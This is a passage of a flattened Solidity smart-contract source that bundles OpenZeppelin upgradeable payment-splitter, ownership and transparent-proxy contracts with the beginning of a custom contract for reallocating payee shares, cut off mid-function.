uint256) private _released; address[] private _payees; mapping(IERC20Upgradeable => uint256) private _erc20TotalReleased; mapping(IERC20Upgradeable => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ function __PaymentSplitter_init(address[] memory payees, uint256[] memory shares_) internal onlyInitializing { __PaymentSplitter_init_unchained(payees, shares_); } function __PaymentSplitter_init_unchained(address[] memory payees, uint256[] memory shares_) internal onlyInitializing { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20Upgradeable token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20Upgradeable token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Getter for the amount of payee's releasable Ether. */ function releasable(address account) public view returns (uint256) { uint256 totalReceived = address(this).balance + totalReleased(); return _pendingPayment(account, totalReceived, released(account)); } /** * @dev Getter for the amount of payee's releasable `token` tokens. `token` should be the address of an * IERC20 contract. */ function releasable(IERC20Upgradeable token, address account) public view returns (uint256) { uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); return _pendingPayment(account, totalReceived, released(token, account)); } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 payment = releasable(account); require(payment != 0, "PaymentSplitter: account is not due payment"); // _totalReleased is the sum of all values in _released. // If "_totalReleased += payment" does not overflow, then "_released[account] += payment" cannot overflow. _totalReleased += payment; unchecked { _released[account] += payment; } AddressUpgradeable.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20Upgradeable token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 payment = releasable(token, account); require(payment != 0, "PaymentSplitter: account is not due payment"); // _erc20TotalReleased[token] is the sum of all values in _erc20Released[token]. // If "_erc20TotalReleased[token] += payment" does not overflow, then "_erc20Released[token][account] += payment" // cannot overflow. _erc20TotalReleased[token] += payment; unchecked { _erc20Released[token][account] += payment; } SafeERC20Upgradeable.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[43] private __gap; } // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; // Following line is a dummy import, otherwise TUP would not be compiled // OpenZeppelin Contracts (last updated v4.9.0) (proxy/transparent/TransparentUpgradeableProxy.sol) // OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol) // OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol) /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overridden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // OpenZeppelin Contracts (last updated v4.9.0) (proxy/ERC1967/ERC1967Upgrade.sol) // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC1967.sol) /** * @dev ERC-1967: Proxy Storage Slots. This interface contains the events defined in the ERC. * * _Available since v4.8.3._ */ interface IERC1967 { /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Emitted when the beacon is changed. */ event BeaconUpgraded(address indexed beacon); } // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822Proxiable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol) // This file was procedurally generated from scripts/generate/templates/StorageSlot.js. /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ```solidity * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._ * _Available since v4.9 for `string`, `bytes`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } struct StringSlot { string value; } struct BytesSlot { bytes value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` with member `value` located at `slot`. */ function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` representation of the string storage pointer `store`. */ function getStringSlot(string storage store) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } /** * @dev Returns an `BytesSlot` with member `value` located at `slot`. */ function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`. */ function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } } /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ */ abstract contract ERC1967Upgrade is IERC1967 { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializing the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } /** * @dev Interface for {TransparentUpgradeableProxy}. In order to implement transparency, {TransparentUpgradeableProxy} * does not implement this interface directly, and some of its functions are implemented by an internal dispatch * mechanism. The compiler is unaware that these functions are implemented by {TransparentUpgradeableProxy} and will not * include them in the ABI so this interface must be used to interact with it. */ interface ITransparentUpgradeableProxy is IERC1967 { function admin() external view returns (address); function implementation() external view returns (address); function changeAdmin(address) external; function upgradeTo(address) external; function upgradeToAndCall(address, bytes memory) external payable; } /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. * * NOTE: The real interface of this proxy is that defined in `ITransparentUpgradeableProxy`. This contract does not * inherit from that interface, and instead the admin functions are implicitly implemented using a custom dispatch * mechanism in `_fallback`. Consequently, the compiler will not produce an ABI for this contract. This is necessary to * fully implement transparency without decoding reverts caused by selector clashes between the proxy and the * implementation. * * WARNING: It is not recommended to extend this contract to add additional external functions. If you do so, the compiler * will not check that there are no selector conflicts, due to the note above. A selector clash between any new function * and the functions declared in {ITransparentUpgradeableProxy} will be resolved in favor of the new one. This could * render the admin operations inaccessible, which could prevent upgradeability. Transparency may also be compromised. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. * * CAUTION: This modifier is deprecated, as it could cause issues if the modified function has arguments, and the * implementation provides a function with the same selector. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev If caller is the admin process the call internally, otherwise transparently fallback to the proxy behavior */ function _fallback() internal virtual override { if (msg.sender == _getAdmin()) { bytes memory ret; bytes4 selector = msg.sig; if (selector == ITransparentUpgradeableProxy.upgradeTo.selector) { ret = _dispatchUpgradeTo(); } else if (selector == ITransparentUpgradeableProxy.upgradeToAndCall.selector) { ret = _dispatchUpgradeToAndCall(); } else if (selector == ITransparentUpgradeableProxy.changeAdmin.selector) { ret = _dispatchChangeAdmin(); } else if (selector == ITransparentUpgradeableProxy.admin.selector) { ret = _dispatchAdmin(); } else if (selector == ITransparentUpgradeableProxy.implementation.selector) { ret = _dispatchImplementation(); } else { revert("TransparentUpgradeableProxy: admin cannot fallback to proxy target"); } assembly { return(add(ret, 0x20), mload(ret)) } } else { super._fallback(); } } /** * @dev Returns the current admin. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function _dispatchAdmin() private returns (bytes memory) { _requireZeroValue(); address admin = _getAdmin(); return abi.encode(admin); } /** * @dev Returns the current implementation. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function _dispatchImplementation() private returns (bytes memory) { _requireZeroValue(); address implementation = _implementation(); return abi.encode(implementation); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _dispatchChangeAdmin() private returns (bytes memory) { _requireZeroValue(); address newAdmin = abi.decode(msg.data[4:], (address)); _changeAdmin(newAdmin); return ""; } /** * @dev Upgrade the implementation of the proxy. */ function _dispatchUpgradeTo() private returns (bytes memory) { _requireZeroValue(); address newImplementation = abi.decode(msg.data[4:], (address)); _upgradeToAndCall(newImplementation, bytes(""), false); return ""; } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. */ function _dispatchUpgradeToAndCall() private returns (bytes memory) { (address newImplementation, bytes memory data) = abi.decode(msg.data[4:], (address, bytes)); _upgradeToAndCall(newImplementation, data, true); return ""; } /** * @dev Returns the current admin. * * CAUTION: This function is deprecated. Use {ERC1967Upgrade-_getAdmin} instead. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev To keep this contract fully transparent, all `ifAdmin` functions must be payable. This helper is here to * emulate some proxy functions being non-payable while still allowing value to pass through. */ function _requireZeroValue() private { require(msg.value == 0); } } /** * @title ReallocatablePaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts accourding to openzeppelin's PaymentSplitter. * * In addition, this contract allowes to transfer shares between investors. */ contract ReallocatablePaymentSplitterUpgradeable is PaymentSplitterUpgradeable, OwnableUpgradeable { address private _factory; bool public wasRescued = false; // _factory and wasRescued should be in same storage slot uint256[49] private __gap; event sharesTransferred(address from, address to, uint256 shares); modifier notAfterRescue() { // require (wasRescued == false, "ReallocatablePaymentSplitterUpgradeable: rescue was called already - normal operation not possible anymore"); // _; if(wasRescued == false) { _; } else // do nothing in this case { } } /** * @dev Throws if called by any account other than the owner. */ modifier onlyFactory() { _checkFactory(); _; } function __ReallocatablePaymentSplitter_init(address[] memory payees, uint256[] memory shares, address factory) internal onlyInitializing { __PaymentSplitter_init_unchained(payees, shares); __Ownable_init_unchained(); __ReallocatablePaymentSplitter_init_unchained(factory); } function __ReallocatablePaymentSplitter_init_unchained(address factory) internal onlyInitializing { _factory = factory; } // Possibly needs refactor to conform to Upgradeable pattern function initialize(address[] memory payees, uint256[] memory shares, address factory) external initializer { __ReallocatablePaymentSplitter_init(payees, shares, factory); } /** * @dev Returns the address of the current Factory. */ function getFactory() public view virtual returns (address) { return _factory; } /** * @dev releases funds first, then transfers all shares `from` one account to another one (`to`) * @return true if new payee was created, false if shares went to existing payee */ function reallocate(address payable from, address payable to, uint8 fromHint, uint8 toHint) external /*onlyOwner*/ notAfterRescue onlyFactory returns (bool) { // require(shares(from) > 0, "ReallocatablePaymentSplitterUpgradeable: from is not owner of any shares"); return _reallocate(from, 